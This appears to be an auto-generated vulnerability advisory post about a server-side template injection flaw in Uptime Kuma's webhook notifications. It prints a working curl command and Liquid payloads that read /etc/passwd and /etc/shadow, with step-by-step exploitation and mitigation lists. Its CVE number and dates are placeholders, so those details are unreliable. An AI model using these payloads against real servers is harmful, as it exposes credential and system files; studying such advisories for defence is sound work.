Uptime Kuma Server-Side Template Injection (SSTI) CVE-2024-XXX (Critical)

Listen to this Post

How the mentioned CVE works:

The vulnerability exists in the notification system, specifically for Webhook and Telegram types. When a user sets a notification to use a ‘custom’ request body, the `send()` function passes the user-supplied content directly to the `renderTemplate()` function without sanitization. This function instantiates the Liquid.js template engine and parses the input. Since the Liquid engine is not properly sandboxed or restricted, an attacker can inject template tags like {% render '/etc/passwd' %}. During template rendering, the engine processes this tag, interpreting it as a directive to read and include the contents of the specified server-side file, leading to arbitrary file disclosure through Server-Side Template Injection.
Platform: Uptime Kuma
Version: <= 1.23.x

Vulnerability : SSTI

Severity: Critical

date: 2024-10-XX

Prediction: 2024-11-15

What Undercode Say:

curl -X POST http://kuma-server/api/notification/test/1 -H "Content-Type: application/json" -d '{"webhookContentType": "custom", "webhookCustomBody": "{\"\": {% render '\''/etc/passwd'\'' %} }" }'
// Exploit payload for custom webhook body
{
"data": "{% render '/etc/shadow' %}"
}

How Exploit:

1. Authenticate to Uptime Kuma.

2. Navigate to Notifications.

3. Create/Edit a Webhook notification.

4. Set ‘Request Body’ to ‘Custom Body’.

  1. Insert SSTI payload: {"": {% render '/etc/passwd' %}}.

6. Trigger a test notification.

  1. Observe file contents in the webhook response or server logs.

Protection from this CVE:

Sanitize user input in `renderTemplate`.

Implement a sandbox for Liquid.js.

Use a strict whitelist for allowed template operations.

Apply the official patch.

Impact:

Arbitrary File Read

Sensitive Data Leakage

Post-Authentication Exploit

Server Information Disclosure

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top